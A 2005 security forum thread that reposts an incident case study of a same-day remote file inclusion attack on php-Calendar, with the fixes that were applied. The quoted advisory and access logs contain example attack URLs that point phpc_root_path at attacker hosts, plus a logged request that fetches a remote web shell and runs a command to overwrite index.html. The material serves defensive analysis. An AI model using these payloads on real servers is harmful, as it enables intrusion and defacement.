|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 65
Members: 0
Total: 65
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
PHP Web Application Security: A Zero-Day Exploit Case Study |
|
Posted: Fri Apr 22, 2005 7:41 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Interesting reading
Code: |
PHP Web Application Security: A Zero-Day Exploit Case Study
By Gabriel Serafini, CISSP - www.gabrielserafini.com
On December 29, 2004 James Bercegay of the GulfTech Security Research Team (http://www.gulftech.org/) published a security vulnerability advisory about a web-based calendar application called php-Calendar. This is the advisory notice he posted on his website, and that was also published on the 29th of December by the network security research site Zone-H.org (http://www.zone-h.org).
File Include Vulnerability In php-Calendar
December 29th, 2004Vendor : Sean Proctor
URL : http://php-calendar.sourceforge.net/
Version : All Versions
Risk : File Include Vulnerability
Description:
I was searching for a decent calendar which my group at school could use to keep track of events, etc. We were previously using localendar, which I didn't like and it had some problems. I found CST-Calendar which did most of what I wanted, but was rather ugly and missed some features others in the group wanted. So, I gradually re-wrote CST-Calendar since that project seems to have stopped work entirely. [ As quoted from their website ]
File Include Vulnerability:
There is a very dangerous file include vulnerability in php-calendar, and making the issue even more dangerous is that I found out about php-calendar from an individual who said that php-calendar is a great open source calendar to use in php projects, and is fairly popular amongst open source php developers. This may be true, but the vulnerabilities need to be fixed if the same conditions apply as found in the original code. Below are example attack url's
http://path/includes/calendar.php?phpc_root_path=http://attacker/includes/html.php http://path/includes/setup.php?phpc_root_path=http://attacker/includes/html.php
If php globals are set to on then it is highly probable that an attacker will be able to include arbitrary php files and thus execute system commands with the rights of the web server. This can be very dangerous in some situations.
Solution:
php-calendar has a defined constant to help prevent against stuff like this. It can be seen in other php-calendar files such as db.php
if ( !defined('IN_PHPC') ) {
die("Hacking attempt");
Adding the following to the top of the affected pages should suffice in preventing the kinds of attacks previously mentioned in this advisory.
Credits:
James Bercegay of the GulfTech Security Research Team
That evening I happened to be working on a client's website that used php-Calendar for event scheduling and noticed that their homepage had been defaced with the following page in place of their normal homepage content:
Upon discovery of the defaced homepage, I began to investigate. My goals were to discover how the attackers had managed to deface the website, close the security holes, and repair any damage done.
I began by connecting to the machine and examining the homepage file to see if the attackers had deleted it or if they had saved a backup copy, as website defacers often do. In this case, they had created a new index.html file that was being served as the homepage instead of the normal index.php file
The next step was to examine the web access logs. The following are excerpts from those logs, with my comments and analysis of each move the attackers made. The hostname of the machine has been altered to protect the privacy of the client. In addition, entries not having to do with the attack have been removed for clarity.
Analysis of the Successful Zero-Day Attack
Note: Many log file entries are not included here due to space requirements.
// Attacker 1: Searching for installations of PHP-Calendar using Google to look for web pages that include "Search", "Log In", "Sunday" and "Monday" on page
217.235.242.213 - - [29/Dec/2004:13:58:28 -0500] "GET /calendar/index.php HTTP/1.1" 200 12357 "http://www.google.de/search?hl=de&client=firefox&rls=org.mozilla%3Aen-US%3Aunofficial&q=PHP-Calendar+%2BSearch+%2BLog+In+%2BSunday+%2BMonday&btnG=Suche&meta=" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041128 Firefox/1.0 (Debian package 1.0-4)"
// Attacker 1: First attempt at exploit
217.235.242.213 - - [29/Dec/2004:13:59:01 -0500] "GET /calendar/index.php?phpc_root_path=http://www.heise.de HTTP/1.1" 200 10327 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041128 Firefox/1.0 (Debian package 1.0-4)"
// Attacker 1: Success! Correctly setting include path to dynamic dns host (very possibly attacker's home machine?)
217.235.242.213 - - [29/Dec/2004:14:01:56 -0500] "GET /calendar/includes/calendar.php?phpc_root_path=http://schiach.homeunix.org/ HTTP/1.1" 200 505 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041128 Firefox/1.0 (Debian package 1.0-4)"
// Attacker 2: joins the fun. Could be friend, or second computer. Possibly trying Windows machine if Linux one didn't seem to work quite as expected
212.202.71.198 - - [29/Dec/2004:14:13:48 -0500] "GET /calendar/includes/calendar.php?phpc_root_path=http://schiach.homeunix.org/ HTTP/1.0" 200 2382 "-" "Opera/7.54 (Windows NT 5.1; U) [de]"
// Attacker 3: first appearance, hits script
67.100.62.36 - - [29/Dec/2004:14:19:36 -0500] "GET / Attacker 5: creates index.html with defaced message
200.101.37.126 - - [29/Dec/2004:15:03:26 -0500] "GET /calendar/includes/calendar.php?phpc_root_path=http://dezu.webshells.org/tool20.dat?&list=1&cmd=echo%20BI0S%20ownz%20U%20-%20Feliz%20Natal%20para%20Todos%20e%20um%20prospero%20ano%20novo%20-%20Com%20muitas%20invasoes%20para%20todos%20-%20Greetz%20for%20all%20friendz%20%20>/home/example/public_html/index.html HTTP/1.1" 200 10778 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
// Attacker 5: views homepage
200.101.37.126 - - [29/Dec/2004:15:03:31 -0500] "GET / HTTP/1.1" 200 118 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
// zone-h.org defacement archive capturing defaced homepage
213.219.122.11 - - [29/Dec/2004:15:03:45 -0500] "GET / HTTP/1.0" 200 118 "-" "Wget/1.9.1"
// Attacker 1: views homepage (now defaced)
217.235.242.213 - - [29/Dec/2004:15:03:46 -0500] "GET / HTTP/1.1" 200 118 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041128 Firefox/1.0 (Debian package 1.0-4)"
// Attacker 5: clicks on homepage link from http://www.zone-h.org/defacements/onhold (defacement archive)
200.101.37.126 - - [29/Dec/2004:15:38:21 -0500] "GET / HTTP/1.1" 304 - "http://www.zone-h.org/defacements/onhold" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
Conclusion
The attackers did not seem to have terribly malicious motives in this web page defacement. They did not delete any files, and appeared to be mainly interested in adding another successful attack to their record. At the time of writing, Zone-h.org lists their group as taking credit for 11563 homepage defacements.
Be careful with third party applications that you run on your webserver. With PHP, be particularly aware of the include(), include_once(), require() and require_once() functions and the possibility of a remote file being included by PHP code on your server. This was the technique used to deface this website. The fix to the code was easy. In addition to adding in the anti-hacking code as suggested by the original advisory poster, I also removed the variables from the paths being included by the script files. This rendered the files functional and safe for their intended use.
Carefully consider how secure you really want to be. In this case, the attack happened on the same day as the vulnerability was released. Zero-day attacks can be extremely difficult to defend against, because by definition they happen before anyone knows that a problem exists. Make it a practice to review and audit your code for any potential security holes before you use it and hopefully your website will not get defaced by attackers.
|
Source: http://www.midwesttechjournal.com/modules.php?name=News&file=article&sid=382 |
|
|
|
|
|
|
|
|
Posted: Sat Apr 30, 2005 8:36 am |
|
|
shai-tan |
Valuable expert |
|
|
Joined: Feb 22, 2005 |
Posts: 477 |
|
|
|
|
|
|
|
The last point is exactly why we are here...... |
|
_________________ Shai-tan
?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds |
|
|
|
Posted: Sat Apr 30, 2005 3:27 pm |
|
|
gulftech |
Valuable expert |
|
|
Joined: Apr 20, 2005 |
Posts: 9 |
|
|
|
|
|
|
|
Too bad some kiddie defaced his server, but he did get 10 CPE credits towards his CISSP for writing that paper |
|
|
|
|
www.waraxe.us Forum Index -> Remote file inclusion
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|